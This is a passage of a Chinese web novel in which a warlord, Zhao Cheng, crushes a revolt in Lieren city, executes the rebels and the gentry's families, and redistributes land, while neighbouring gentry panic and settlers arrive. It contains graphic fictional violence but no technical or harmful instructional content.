这般规模的军队,远看过去人山人海,就算让他们提着刀不反抗地砍,三天三夜也未必能砍完。
就算是两万只鸡,把列人城的百姓全动员起来抓,也得折腾大半天。
可现在呢?
不过是赵诚挥了挥戟的功夫,两万人就没了?
什么时候,灭掉一支大军如此轻松了?
有人张大了嘴巴,手指着城外,半天说不出一句完整的话:“这……这……这是真的?
我、我是不是在做梦!”
有人神情恍惚,抬手就给了自己两个响亮的耳光,脸颊瞬间红透,可他却像感觉不到疼似的,喃喃自语,“一定是做梦!这不可能是真的!”
还有人彻底崩溃,装疯卖傻起来,一边哈哈狂笑一边胡言乱语,“假的!全都是假的!
什么两万大军,什么血海,都没有!
无事发生,根本无事发生!我老娘叫我回家吃饭了,你们听见了吗?听见了吗?”
他踉踉跄跄的朝着城下走去,没有走台阶,也没有走城楼,而是直接走向女墙一跃而下。
噗通一声闷响,他重重摔在城墙下的板路上,腿骨当场断裂,剧痛让他瞬间从疯癫中清醒,抱着断腿嚎啕大哭。
“是真的!都是真的!
唔唔唔……韩烈,你个**误我啊!”
这话像一根引线,瞬间点燃了其他豪绅的怒火。
所有人的目光齐刷刷地转向韩烈,眼神里的恨意像是要将他生吞活剥。
若不是韩烈撺掇他们反抗,若不是韩烈说赵诚有所顾忌,他们怎么会落到如今这步田地?
韩烈比这些豪绅稍微冷静些,可也只是“稍微”而已。
他死死盯着城外那道悬立在血海上的身影,只觉得浑身冰凉,连指尖都在发麻。
之前他在心里预演了无数种情况。
或许赵诚会被两万大军围困,或许血衣军会拼死突围,或许他们能靠着百姓的声势活捉赵诚……
可他做梦也
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没料到,赵诚会强到这种地步。
两万大军,就算是攻克一座固若金汤的小城也绰绰有余,结果在赵诚手里,连几个眨眼的功夫都没撑住?
这哪里是人?
分明是神仙!
不,是杀神!
他之前在想什么?
竟然想让一群凡人去对抗一尊杀神?
何其可笑!
“我命休矣……”
在众人怨毒的目光注视下,韩烈像是被抽走了所有力气,双腿一软跌坐在地。
下一秒,一股温热的液体顺着他的裤腿流了出来,在地上积成一滩。
他竟被吓得尿了裤子。
可即便如此,他的反应也比城内的百姓强多了。
城门口的百姓们,第一时间全都僵在原地,像被施了定身术似的,眼睛直勾勾地盯着城外的血海,连呼吸都忘了。
等他们稍微回过神来,恐惧便如潮水般将他们淹没,一个接一个地直挺挺栽倒在地,吓晕了过去。
噗通、噗通的倒地声不绝于耳,有的百姓刚要开口尖叫,一口气没上来就昏了。
有的还保持着挥舞锄头的姿势,人已经没了意识。
就连那些之前跟着乱兵起哄,攥着镐头、菜刀,扬言要“跟血衣军拼了”的“血性”百姓,此刻也吓得魂飞魄散,屁滚尿流地丢掉手中的武器,像没头苍蝇似的朝着四面八方奔逃。
“啊!!”
他们一边跑一边尖叫,声音里满是绝望。
百姓一逃,原本还强撑着想要抵抗的乱兵们也彻底崩了。
恐惧像长了翅膀,在乱兵中飞快蔓延,没人再敢拿起武器,全都跟着百姓一起溃散。
不过短短几息的功夫,一万多人的乱军就散成了一盘沙,到处都是奔逃的身影。
“别跑!都给我站住!”
“拦住他们!一个也别放跑了!”
“哎呀!早知道就劝君上晚一会儿出手了!”
“刚才跟他们正面对砍多痛快,现在一跑,军功都少了!”
血衣军的将士们看着四散奔逃的乱兵,急得直跺脚。
第272章 城头挽弓诛逆寇,血衣搜城骇黔首
之前乱兵以为他们人少好欺负,一个个往上冲,他们砍得痛快,军功也涨得快。
可现在乱兵一逃,他们只有一千多人,根本没法形成包围圈,杀敌的效率一下子就降了下来。
将士们一边骂骂咧咧,一边提着剑追上去,可他们跑得越急,乱兵逃得就越快,整个列人城瞬间陷入一片混乱。
就在这时,赵诚提着大戟从城外飞身而来,稳稳落在城墙之上,接过了指挥权。
他的声音依旧沉稳,却带着不容置疑的威严:“封死所有城门,这些反军,一个也不能放出去。”
“是,君上!”
血衣军将士们齐声应和,令行禁止。
很快,队伍便分成了两部分。
一部分将士迅速冲向列人城的四座城门,搬来巨石堵住城门,手持长戟守在门口,严防死守。
另一部分则分散开来,在城中搜索奔逃的乱兵,见一个杀一个。
赵诚站在城墙之上,也没闲着。
只见他掌心一探,一把通体黝黑的射雕神弓便出现在手中。
他单手握住弓身,另一只手飞快地拉弦搭箭,拉弓的速度快得出现了残影,眨眼之间便拉弓数十次。
每一次拉弓,都有十几支泛着冷光的铁箭上弦,随着弓弦震颤,箭支如暴雨般离弦而去,带着尖锐的破空声,精准地射向城中奔逃的乱兵。
他的真元本就强横无比,若是直接以真元轰击,在这密集的城池中必然会毁了房屋、误伤无辜,虽说他本不在乎,但没必要徒增麻烦。
而弓术通神的好处,此刻正好显现出来。
他只需站在城头不断开弓射箭,既能精准收割乱兵的性命,又不会破坏城池。
每一息之间,都有上百个乱兵倒在箭下,鲜血顺着街道流淌,很快便染红了列人城的石板路。
列人城内,凄厉的惨叫此起彼伏,像无数根针扎在每个人的心上,令所有人战栗。
那些溃散的乱兵拼了命地躲藏,灶膛后、柴房角落、地窖深处,凡是能遮身的犄角旮旯都塞满了人,可他们很快绝望地发现。
无论躲到哪里,总会有一支冷箭凭空出现,精准地穿透同伴的咽喉,溅起的鲜血染红了身边的干草与泥土。
每一次弓弦的炸响,都像阎王递来的催命符,让乱兵们浑身发冷,连牙齿都忍不住打颤。
有几个胆子大的,攥着断刀想冲出去拼个鱼死网破,可刚冲出藏身之地,就被搜寻的血衣军抓住。
别说近身,他们连血衣军的衣角都没碰到,就被轻松扫倒,喉咙上血痕炸开,连惨叫都发不出来。
有时候十几个人抱团,想靠着人多冲破一名血衣军的防线,结果依旧是徒劳。
血衣军将士身经百战,精锐至极,对付这些没了士气的乱兵,就像全副武装的壮士对付几个手无寸铁的婴儿。
小腿一扫撂倒三两个,长戈一挑刺穿胸膛,动作干脆利落,不费吹灰之力。
而乱兵们的全力攻击却连血衣军的衣角都碰不到。
绝望,如同潮水般将乱兵彻底淹没。
直到此刻,他们才终于明白,为什么赵诚能带着一万血衣军横扫赵国全境。
为什么北上路上的城池,就算是最刚烈的将军,见了赵诚也会立刻投降。
这样的队伍,这样的将军,根本没法打,连一丝一毫的胜算都没有。
城巷里,血衣军将士们像寻宝似的搜寻着残余的乱兵,脚步轻快却眼神锐利,找到目标的第一时间就挥刀斩杀,生怕动作慢了,军功被城头射箭的君上抢了先。
明明是一万多人的乱兵队伍,到最后竟莫名形成了“狼多肉少”的局面,血衣军将士们甚至会因为争抢一个逃兵,互相调侃着推搡几下。
他们本就是精锐中的精锐,脱胎于秦国铁鹰锐士,又修炼了血衣军专属的炼体之法,每个人都是以一当十的高手。
在他们面前,乱兵的躲藏如同孩童的游戏,根本无所遁形。
有个乱兵钻进了地窖,还没等他喘口气,地窖的木板就被血衣军一脚踹开,
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冰冷的刀光瞬间笼罩了他。
当最后一名乱兵被从粮囤里揪出来,一刀枭首后,这场混乱终于彻底结束。
从赵诚下令进城、乱兵暴起包围,到所有乱兵尽数伏诛,前后不过半个时辰。
这场战斗结束得太快,快到列人城的百姓们都有些恍惚,下意识地以为刚才的厮杀、惨叫都是一场噩梦。
可当他们看到满城的血迹顺着石板路往下淌,看到血衣军将士们将乱兵的头颅堆成小山,看到那些平日里作威作福的地主豪绅被五花大绑,挂在高杆上示众时,所有的侥幸都烟消云散,只剩下无边的绝望与恐惧。
“完了……这下真的完了!”
“魔头大开杀戒,今天我们列人城的百姓,都要死在这里了!”
“你们说……他那邪术是什么样的?会不会扒皮抽筋啊?”
“我听说那‘采生折割’之术,必须让被祭炼的人受尽痛苦,带着满肚子怨气死,才能化作怨魂提供力量……我们恐怕都要不得好**!”
人群里,一个妇人紧紧抱着怀里五六岁的女孩,女孩吓得浑身发抖,小声啜泣,“娘亲,我怕……”
妇人红着眼眶,摸了摸女孩的头,从怀里掏出一个小瓷瓶,颤抖着要往女孩嘴里倒,“别怕,囡囡,睡着就好了,睡着就不疼了……”
“嘭!”
一声闷响,妇人被一名路过的血衣军一脚踹倒在地。
瓷瓶摔在地上,黑色的药液溅了一地。
血衣军气得脸色铁青,厉声喝道,“混账东西!你在做什么?虎毒还不食子呢!”
“娘!”
女孩撕心裂肺地哭喊着,从地上爬起来扑向妇人,又转过身,小小的身子挡在妇人面前,对着血衣军怒目而视,“坏人!不准欺负我娘!”
这一幕让血衣军瞬间愣了,他张了张嘴,语气缓和了些:“老子是在救你!你娘要喂你吃**!”
“我不信!你胡说!”
女孩梗着脖子,虽然声音还在发颤,却依旧不肯退让。
第273章 斥愚破谣明真相,高台传令斩逆民
妇人趴在地上,泣不成声,不敢看血衣军,只是对着他连连磕头,额头很快磕出了血,“军爷行行好……若是要炼怨魂,我一个人就够了,求您给孩子一个痛快,别让她受折磨……”
“真是愚不可及!”
血衣军气得指着妇人的鼻子骂,手指都在抖。
可看着周围百姓们那双写满恐惧的眼睛,他还是深吸一口气,语气稍显温和了一些,“君上要是想炼邪术,还轮得着你们?”
或许是看在那孩子的份上。
他环视一圈,声音提高了几分,让更多人能听见,“我血衣军随君上攻伐诸国,战无不胜、攻无不克!
若是要**炼术,战场上有的是敌军,还用得着杀你们这些手无寸铁的百姓?”
“还有人说君上分田是为了骗你们信任?简直可笑!”
“两万大军在君上眼里,也不过是一戟的事,他要是想炼了列人城,用得着费那功夫给你们分田?”
“你们被那些地主豪绅欺压了一辈子,现在还帮着他们当枪使!”
“他们拉着你们对抗君上,为的是自己手里那些钱粮!为的是从你们手中剥削欺压来的田地!
那你们为的是什么?为了百亩田变十亩吗?”
“哼!真是蠢笨如猪!**也活该!”
血衣军的话骂得很难听,唾沫星子都溅到了前排百姓的脸上,可这番话却像一道惊雷,炸醒了许多还在浑浑噩噩的百姓。
他们你看我,我看你,眼神里的恐惧慢慢掺了几分疑惑。
是啊,赵诚那么厉害,一个人就能灭两万大军,要是想害他们,根本没必要绕圈子。
要是想炼邪术,战场上的敌军有的是,犯不着跟他们这些百姓较劲。
难道……他们真的被那些地主骗了?
无数道目光齐刷刷地投向高杆上挂着的地主豪绅,眼神里渐渐没了之前的敬畏,多了几分怨怼与恨意。
就是因为他们手里的田契,才让自己落到今天这步田地。
而这些地主豪绅,因为之前在田契上签了名,早在战斗收尾时就被血衣军挨个揪了出来,一个没漏。
此刻被绳子捆得像粽子,挂在城市中央的空地上,脸色惨白,连头都不敢抬。
空地周围,凡是参与了今天阻拦血衣军的百姓,除了在城门口被**的,其余的都被赶到这里跪着,密密麻麻一片,没人敢说话,只有偶尔传来的啜泣声。
就在这一片压抑的寂静中,一道魁伟的身影缓缓出现在空地中央的高台上。
赵诚负手而立,封君锦袍在风里微微飘动,衣摆上金线流纹泛着光。
他居高临下地俯瞰着下方的百姓,目光平静却带着无形的威压。
几乎是他出现的瞬间,所有百姓都屏住了呼吸,连啜泣声都停了。
原本还残存的一点骚动彻底消失,整个列人城陷入了死一般的寂静,只剩下风吹过旗帜的“哗啦”声。
赵诚立于高台之上,目光扫过下方跪伏的百姓,声音平静,带着不容置疑的威严。
“第一件事,参与反抗血衣军、阻挠吾进城者,尽斩!”
话音落下的瞬间,人群中一片死寂,随即有不少人脸色骤然惨白。
那些之前跟着城内赵军旧部起哄、甚至拿着锄头菜刀冲向血衣军的百姓,此刻吓得浑身发抖,有人死死低着头,将脸埋进臂弯里。
有人慌忙抓起地上的尘土往脸上抹,甚至往脸上蹭着旁边尸体的血迹,试图伪装成旁观者。
还有人悄悄往人群后面挪,盼着能混在密密麻麻的人堆里蒙混过关。
他们心里打着如意算盘,当时场面那么乱,人又多,血衣军忙着厮杀,哪里能记住每个人的样子?
只要没被认出来,总能逃过这一劫。
可他们忘了,血衣军将士个个是经受过斥候死间训练的精锐,对敌人的面容、动作过目不忘,哪怕只是在混乱中瞥过一眼,也绝不会记错。
不过半柱香的功夫,血衣军将士便从人群中揪出了上百名参与反抗的百姓。
这些人被拖到空地中央
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,有的还在拼命辩解,“君上!我没有反抗!我只是站在旁边看热闹,真的没动手!”
嗤!
回应他的是一道冰冷的剑光。
血衣军的剑很快,话音未落,头颅便已落地,鲜血喷溅在旁边百姓的身上,吓得那人浑身一颤,连哭都不敢哭出声。
“君上,我知道错了!
我是您的子民啊,求您饶我一命!”
又一名百姓跪在地上磕头,额头很快磕出了血。
嗤!
剑光再闪,人头滚落,没有半分迟疑。
“别杀我!我是被人指使的!是李老爷让我这么做的!”
“我是被蛊惑的!那些豪绅说您要抢我们的田,我才……”
“救命啊!三叔,你快求个情!我们是亲戚啊!”
“认错人了!真的认错人了!我有个双胞胎兄弟,你们要找的是他!”
“魔头!你滥杀无辜,早晚不得好死!”
“大家别怕!他就这么点人,我们一起冲……”
不管这些人是求饶、辩解,还是试图煽动他人,回应他们的都是同样干脆利落的寒光枭首。
利刃切入血肉的声音不断响起,每一声都像敲在其他百姓的心上,让他们浑身发冷。
血衣军将士挥刀时面无表情,眼神平静得像一潭深水,仿佛斩杀的不是人,只是路边的野草。
高台上的赵诚看着这一幕,眼皮都没眨一下,神色冷漠如冰。
他向来对敌人狠辣,对自己人宽厚,可这些所谓的“封地子民”,连他的认可都没得到,就敢伙同赵国旧部反叛。
这样不忠不义的愚民,留着只会生乱,斩了也只是清理糟粕。
短短片刻,所有参与反抗的百姓便尽数伏诛,连那些在城门口**过护卫官吏的人,也没能逃过一死。
人头滚滚,鲜血染红了空地的石板路。
剩下的百姓吓得噤若寒蝉,连大气都不敢喘,有人悄悄松了口气。
幸好自己当时没敢动手,只是远远看着,总算不用掉脑袋了。
第274章 令下夷族诛逆绅,分田定等辨子民
赵诚的目光再次扫过人群,声音依旧平静,“第二件事,韩烈、王仲、李嵩等故赵豪绅贵族,煽动列人城百姓抗命,勾结赵国旧部谋反,尽夷三族!”
被挂在高杆上的韩烈、王仲等人听到这话,眼睛骤然睁大,疯狂地挣扎起来。
可他们被五花大绑,绳子勒得手腕、脚踝都渗出血,只能像待宰的野猪般扭动,根本挣脱不开。
嘴里又被粗布塞住,连一句求饶的话都说不出来,只能发出“唔唔”的闷响,眼泪混着鼻涕往下淌,眼神里满是绝望。
他们脑子里疯狂闪过藏在密室的黄金、地窖的粮食、祖上传下来的宝物。
只要能保住性命,哪怕交出所有家产,哪怕只留一个子嗣,他们也愿意。
可赵诚连开口的机会都没给他们,从他们决定对抗赵诚的那一刻起,就已经断了自己所有的退路。
赵诚轻轻挥了挥手。
下方的血衣军将士立刻行动起来,很快便将韩烈、王仲、李嵩等人的家眷,无论是白发苍苍的老者,还是牙牙学语的孩童,都被带到了空地中央。
“唔唔唔!”
韩烈看着自己的妻儿被押过来,挣扎得更凶,绳子都快被他挣断了,却还是徒劳。
寒芒闪过,惨叫声、哀求声混在一起,却很快被利刃入肉的声音淹没。鲜血再次挥洒,又是一片人头落地。
周围的百姓浑身的汗**都竖了起来,有人吓得闭上了眼睛,有人死死攥着拳头,指甲嵌进掌心却浑然不觉。
一股刺骨的寒意从每个人的心底窜起,直冲天灵盖,连周围的空气都仿佛变得冰冷刺骨。
直到此刻,他们才真正明白,何为“血屠阎罗”。
这位武威君,动起手来根本不留任何余地,哪怕是妇孺,也绝不会手软。
看着自己的三族亲眷尽数被斩,高杆上的豪绅贵族们瞬间没了所有力气,像泄了气的皮球般垂着头,眼神空洞,如同行尸走肉。
赵诚从怀里掏出之前那几张田契,翻看了几眼,嘴角勾起一抹嘲讽的笑意:“邯郸以西百里之地都是我的封地,你们倒还分上田了。”
他抬眼看向高杆上的豪绅,声音冷了几分,“都杀了吧,家产充公。”
很快,一箱箱的银锭、锦缎、玉器被血衣军从各家的地窖、密室里抬出来,堆在空地中央。
阳光一照,晃得人睁不开眼。
这些都是豪绅贵族们积攒了几代的家产,此刻却成了无主之物。
高杆上的豪绅们看着自己的家产被搬空,又恢复了些许力气,拼命挣扎着,嘴里的“唔唔”声更大了。
那是他们一辈子的心血,就这么没了。
可没过多久,他们就被血衣军从高杆上放下来,一剑枭首,连最后看一眼家产的机会都没有。
列人城的百姓们眼睁睁看着这一幕,个个神情恍惚。
那些往日里高高在上、压得他们喘不过气的豪绅贵族,那些他们连抬头看一眼都不敢的“大人物”,竟然在短短一个时辰里,就被斩草除根,连一点痕迹都没留下。
就在百姓们还没从震惊中回过神时,赵诚的声音再次响起:“第三件事,分田。”
许多百姓的眼神之中闪过兴奋激动之色。
经过这一通折腾,他们也终于明白,自己等人是被那些地主豪绅当枪使了,根本就没有什么魔头,也没有什么邪术。
也就是说,分田是真的!
一户百亩田!
这等好事即将落到他们身上,如何能够不激动?
果真是,大难不死,必有后福啊!
却听赵诚顿了顿,继续说道,“本来按照新政规划,汝等每户可分百亩良田,还可租用润田机,助汝等多收粮食。
但出了今日这档子事,之前的规划自然不作数了。”
“除了最开始在城外主动站到一旁、给吾让开道路的人之外,列人城原住百姓,尽数划分为三等民,无田可分,日后只能租用他人的田地耕种。”
“那些主动让开道路、没有参与此事的人,划为一等民,照旧每户分百亩良田,润田机也可照常租用。”
“至于多出来的田地,吾自会迁移老秦人来此耕种,不会让土地闲置。”
此话一出,下方的百姓瞬间分成了两派。
那些当
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初在城外就选择相信赵诚、主动让开道路的百姓,此刻狂喜不已,纷纷跪在地上拼命磕头,额头磕得通红,声音里满是激动:“多谢君上!多谢君上开恩!”
“君上说话算话!
百亩良田啊,以后再也不用饿肚子了!”
“之前还有人说君上是骗子,现在看看,这才是真正为百姓着想的好君上!”
而另一批被划为二等民的百姓,则个个面色灰暗,垂着头,手指紧紧绞着衣角,心里满是悔恨。
他们当初要是不听那些豪绅的蛊惑,要是敢站出来相信赵诚,现在也能分到百亩良田,而不是落得个“二等民”的下场。
不但没有田,还要低人一等,一辈子都得租种别人的田地,看别人的脸色过日子。
不过半日功夫,同一个列人城的百姓,境遇却已是天差地别。
他们怨不得别人,只能怨自己当初瞎了眼,被那些豪绅贵族当枪使,错过了本该属于自己的好日子。
可谁又能想到,这百亩田,竟然是真的?
世人都传此人是血屠阎罗,他却会真给百姓们分实惠。
若是早知道如此,谁会在意那些地主的十亩田地。
这些人心中万般悔恨,却又没有了一丝一毫的愤怒和怨恨。
无他,当他们看到了赵诚那恐怖如鬼神般的力量,以及阎罗恶鬼一般的狠辣之后,便再也不敢对其产生一丝一毫的怨怼之心。
不是表面上不敢流露,而是从内心最深处不再升起。
接下来核定户籍和清丈土地的工作进展的非常顺利。
“说来可笑,君上要给他们分田,他们百般阻挠。如今大部分人连一亩田都分不到,反而配合的出奇。”
一名官吏将册子递上,出言如此说道。
赵诚点了点头不予置评,翻看了户籍册子之后,又说道,“先让这些三等民租种官田一段时间,过一段时间颁布新令,三等民可参军,获得战功者,可逐渐晋升二等民,也可分到十亩田地。”
“战功卓著者,可晋升一等民,获封百亩田地。”
“总归也有些希望,他们会更加卖力。”
第275章 新政布防定封地,釜口风闻震豪绅
列人城的血雨腥风,像长了翅膀似的,没几日便传到了相邻的釜口城。
一时间,釜口城街头巷尾风声鹤唳,茶摊酒肆里,百姓们凑在一起,压低声音议论着,脸上满是震惊。
“你们听说了吗?列人城那帮人,领着百姓阻挠武威君进城分田,结果被那位杀得人头滚滚、血流成河啊!”
茶摊旁,一个穿着粗布短打的汉子捧着粗瓷碗,声音压得极低,却难掩语气中的惊悚,“听说全城百姓被屠戮了大半,那些豪绅贵族更是一个没跑掉,满门都被斩了,连三岁的娃娃都没放过!”
“嗨,我早听说了!”
旁边一个老农放下手里的锄头,叹了口气,“说起来,列人城那些百姓也真是蠢,谁是真心帮他们,谁是常年欺压他们,心里就没点数吗?
武威君要给他们分百亩良田,那些豪绅却拿十亩假田契骗他们,他们倒好,反过来帮着豪绅挡路,这不是自找苦吃是什么?”
“要我说,‘血屠阎罗’这名号,真是半点不假!”
一个穿长衫的书生模样的人皱着眉,“杀起人来眼睛都不眨,好歹列人城的百姓,日后也是他的子民,竟能下这么狠的手……”
“你这话就不对了!”
旁边一个挑着货郎担的汉子插话进来,“我有个远房亲戚在武安城,前些日子托人带信来,说武安城的百姓现在日子过得好着呢!
不光每户分了百亩田,还有各种新鲜玩意用。
就说那润田机,是铁做的,不用牛拉不用人推,只要往河边一插,顺着田埂浇一圈,几十亩地就浇透了,一天能顶得上十几个壮汉浇田一个月!”
他越说越激动,声音也拔高了些,“而且那位武威君招人建城,都是给现钱工钱的,一文都不少。
城里建的工坊招女工,一天能挣三个铜板,比男人种田还划算!
这说明什么?说明武威君是真在百姓身上花心思,列人城是他们自己不知好歹!”
“可不是嘛!”
周围的百姓纷纷附和,“要是武威君来咱们釜口城,咱们可不能跟他作对,得摆上锣鼓,好好把这位君上迎进来才是!”
百姓们的议论里,虽有对“血屠”的惊惧,却更多是对好日子的期待与惊喜。
毕竟武安城的例子摆在那里,只要不与赵诚作对,就能分到田地、找到活计,这样的好事,谁不盼着?
可百姓们的期待,却成了釜口城豪绅贵族的噩梦。
连日来,这些平日里养尊处优的老爷们,个个坐立难安,私下聚在一处宅院的客厅里,脸色都透着几分惨白。
“前些日子韩烈派人来联络我,想拉我一起反,我当时没敢应,只说要观望观望,现在看来,真是逃过一劫啊!”
一个胖脸圆肚的豪绅端着茶杯,手却在微微发抖,茶水洒了满桌都没察觉。
“逃过一劫?现在说这话还太早!”
另一个留着山羊胡的豪绅冷笑一声,手指敲击着桌面,“列人城之后,釜口城早晚也要推行新政,那位武威君要分田,咱们怎么办?”
“还能怎么办?配合他呗!”
一个穿锦袍的中年人道,“他要田,咱们就交出去,总比丢了性命强。”
“你说得倒轻巧!”
一个头发花白的老豪绅拍着桌子,声音发颤,“那是咱们祖祖辈辈攒下的地!从太爷爷那辈开始,好不容易打下这片家业,怎能就这么平白交出去?”
“呵,祖祖辈辈的地又如何?”
山羊胡豪绅瞥了他一眼,语气里满是嘲讽,“现在整个邯郸以西百里,都是武威君的封地,这地早就不是你的了!
你今天敢说一个‘不’字,明天你们全家的人头,就能整整齐齐摆在城外!
比起田地,还是把家族香火传下去更重要吧?”
老豪绅被噎得说不出话,客厅里陷入一阵沉默。
过了许久,一个穿青衫的豪绅小声提议,“要不然……咱们跑吧?
趁着那位还在处理列人城的事,拖家带口连夜出城,找个偏僻地方躲起来,总好过被清算吧?”
“跑?”
山羊胡豪绅摇
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了摇头,眼神里满是忌惮,“你以为你跑得过血衣军?
别忘了,那可是一万人就横扫赵国全境的精锐!
就算你连夜出城,不出百里,也得被他们追上!”
“那……那就只能配合了?”
有人低声问。
“只能配合!”
锦袍中年人叹道,“武威君说什么,咱们就做什么,绝无二话!”
客厅里的豪绅们纷纷点头附和,嘴里说着“愿意配合”,眼底却藏着各自的心思。
有的想趁机转移家产,有的想找机会连夜跑路,没几个人是真心顺从。
当天夜里,釜口城的城门悄悄打开了几道缝隙。
四五家豪绅的车队借着月光摸出城,车轮裹着麻布,马蹄包着软布,连赶车的仆役都不敢出声,生怕弄出半点动静。
两队人在城外岔路口碰见,领头的豪绅互相使了个眼色,嘴角扯出一抹心照不宣的笑。
都是想逃的,谁也别戳破谁。
可他们刚走出不到十里地,夜色中突然闪过几道黑影,队伍里的火把“呼”地一下全灭了。
紧接着,惨叫声在黑暗中响起,又很快被捂住。
一道道阴影穿梭在车队中,刀光闪过,只留下极致的恐惧与绝望,笼罩在冰冷的夜里。
等到天光大亮,釜口城的百姓们发现,城外的土坡上,一排排人头堆得整整齐齐,旁边立着几块木牌,上面写满了这些豪绅的罪状。
从强占民田、逼死佃户,到私藏兵器、勾结敌寇,桩桩件件都写得明明白白,连十年前张老爷强抢王寡妇为妾、李员外克扣赈灾粮的旧事,都记得一清二楚,若非是深知内幕的人,绝不可能知道得如此详尽。
这一下,釜口城的人彻底慌了。
原来那位武威君,早就盯着釜口城了!
百姓们围在人头和罪状旁,有的指着木牌破口大骂,有的拍手叫好。
还有那被豪绅欺压过的老佃户,跪在木牌前哭着磕头,嘴里一遍遍念叨:“武威君为民做主了!总算为我们这些苦命人报仇了!”
第276章 新政落地民安乐,武安崛起焕新颜
消息传回豪绅圈,剩下的豪绅们彻底乱了阵脚,再次聚在客厅里,脸色比之前更难看。
“**!说好了一起配合,他们倒好,偷偷跑路!
现在好了,全家脑袋都挂在城外,真是活该!”
一个矮胖的豪绅气得直跺脚,却不敢大声。
“别光顾着骂他们!”
一个戴玉冠的豪绅脸色发白,声音发颤,“你们没注意到那些罪状吗?就说李员外克扣赈灾粮的事,当年他做得多隐秘,只有咱们几个知情人知道,现在却被写得明明白白,比我记得还清楚!”
“是啊!”
另一个豪绅附和道,“这些事藏了这么多年,怎么会突然被翻出来?
这位武威君的能量,比咱们想象的大多了!”
“说不定……现在就有人在盯着咱们呢!”有人小声说。
这话一出,客厅里的豪绅们瞬间打了个寒战,纷纷惊恐地扫视四周。
窗外的树枝摇晃,像是有人影闪过,墙角的虫鸣突然停了,仿佛有耳朵在偷听。
明明没看到任何人,可那种被窥视的毛骨悚然,却怎么也挥之不去。
“那现在怎么办?”
一个年轻些的豪绅声音发颤,“他们的罪证都被查得这么清楚,咱们……咱们会不会也……”
众人面面相觑,没人敢接话。
谁心里都清楚,做豪绅的,哪个没做过欺压百姓的事?
就算表面装得再和善,背地里也是抢田宅、欺男女,只是做得隐秘罢了。
如今赵诚连陈年旧账都能翻出来,他们的那些勾当,恐怕也藏不住了。
就在这时,坐在主位的老者缓缓开口,他拄着拐杖,声音里满是疲惫和绝望,“别想了,我等恐怕难逃一**。
大家做过什么,各自心里都清楚。
这位武威君的脾性,绝不会放过我们,夷三族、抄家产,对他来说不过是动动手指头的事。”
“那也不能坐以待毙啊!”
年轻豪绅急了,猛地站起来,“横竖都是夷三族,不如拼了!咱们召集护院,再联络些赵国旧部,说不定能……”
“慎言!”
老者猛地顿了顿拐杖,声音陡然拔高,“你忘了韩烈的下场?
他集结了三万赵军旧部,里应外合夹击武威君,结果呢?还不是转瞬成灰!
你有什么本事?就凭你家那三五十个护院,连像样的兵器都没有,还想跟血衣军拼?
简直可笑!”
年轻豪绅被骂得满脸通红,攥紧了拳头,却不敢反驳。
韩烈的惨败就在眼前,他这点实力,确实不够看。
客厅里再次陷入死寂,比死更可怕的是等死,豪绅们或低着头,或望着窗外,脸上满是绝望。
老者看着众人的模样,长长叹了口气,语气软了些,“事到如今,唯一的法子,就是全力配合武威君,把家产、田地都交出去,尽可能将功补过。
作孽的是我们,那些孩子是无辜的,只求君上能开恩,为我们留个香火。”
他看向众人,眼神里满是恳求:“汝等,可明白了?”
豪绅们沉默了许久,有人攥紧的拳头慢慢松开,有人低着头点了点头,还有人抹了把脸,露出一副认命的模样。
最终,所有人都长叹一口气,哑着嗓子应道,“明白了……就按老先生说的做吧。”
接下来几日,负责核定户籍、清丈土地的官吏携着文书抵达釜口城时,城门处早已挤满了人。
釜口城的豪绅贵族们领着全城百姓,敲锣打鼓,连平日里高高抬起的下巴,此刻也压得极低。
豪绅们亲自上前,双手捧着泛黄的田契和写得密密麻麻的家产清单,指尖颤抖,因强烈的不舍不甘而用力到泛白,脸上却堆着恭敬的笑。
“我等早已备好文书,田产、房屋、银钱尽数在此,愿为武威君建设封地尽绵薄之力!”
官吏们接过文书,按册核对,见豪绅们果然没有半分隐瞒,连藏在地窖里的银锭、当铺的账本都一一列明。
便按赵诚的吩咐,有条不紊地登记造册。
后续清算时,也只将此前侵占田产、欺压百姓的涉案者带走清算,对家中未参与罪孽的老幼妇孺则秋
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毫无犯。
甚至允许他们保留少量衣物、粮食等私产度日。
这般处置,让原本提心吊胆的豪绅家族松了口气,那些未涉案的族人更是暗自庆幸,对赵诚多了几分敬畏。
此事落定后,赵诚封地的迁民计划也正式铺开。
一队队老秦人拖家带口,赶着装满被褥、农具的牛车,沿着新修的土路缓缓而来。
孩子们扒在车沿上,好奇地打量着路边的新田,时不时伸手去够田埂上的野花。
老人们坐在车上,望着远处平整的土地,浑浊的眼睛里满是期待。
壮年汉子们则扛着锄头,脚步轻快,嘴里哼着秦地的歌谣。
待官吏们核定户籍、将百亩良田的田契交到他们手中时,不少人捧着田契,手指摩挲着上面的红印,声音中带着恍惚,
“以后,咱就是武威君的子民了……”
“真是百亩水浇田,不是下等田,也没有产量暗抵,太好了……”
秦国“每户百亩田”是授田制的基准标准,但现实中因土地质量、爵位、人口增长而有差异,并非人人足额。
尤其是在关中以外的地方,如陇西,巴蜀,或者山地、土地贫瘠之地,是做不到每户分配百亩的。
更有一些因土地兼并而失去田产的人,日子会极为艰难。
而赵诚在秦国内部威望极高,尤其在灭掉赵国封君之后更是如此,当得知武威君需要老秦人迁民时,这些老秦人便立刻响应,拖家带口来到此处。
而事实果然也没有让他们失望,当看到哪些肥沃的新田之后,众人纷纷惊喜异常,欢呼声在村落里此起彼伏。
除此之外,血衣军的军属与战死者遗属也陆续迁入封地。
军属们被安置在武安城之中,砖木排房早已修缮号了,院里还备好了新打的家具。
遗属们虽带着丧亲的哀戚,但当看到血衣官学的青砖瓦房、整齐的课桌,以及官学每月发放的米粮时,眼神里的悲戚渐渐被暖意取代。
那些遗属子弟背着新做的布包,踏入官学大门时,个个挺直了小腰板。
第277章 官学授业墨阁研,新城沃野万民安
操场上,少年们握着木剑练习劈刺,吼声震天。
课堂里,先生捧着竹简讲解《秦律》《兵法》,学子们伏案疾书,墨香与竹简的摩擦声交织。
甚至还有墨官来授课,教他们辨认简单的机关图纸,孩子们凑在一起,指着图纸上的齿轮,小声讨论着“这个转起来,那个会不会动”。
随着迁入的子弟增多,血衣官学的朗朗书声,渐渐成了武安城内清晨最动听的声音。
墨阁学院的热闹程度,丝毫不逊于血衣官学。
来自秦国各地的青年工匠们,背着工具箱,怀揣着对机关术的向往汇聚于此。
学院里,作坊鳞次栉比,有的工匠围着新造的“蒸汽抽水机”,手里拿着小锤调试零件,蒸汽从铜管里冒出,带着“嗤嗤”的声响。
有的捧着墨官绘制的图纸,蹲在地上争论齿轮的齿数比例,时不时拿起木块比划。
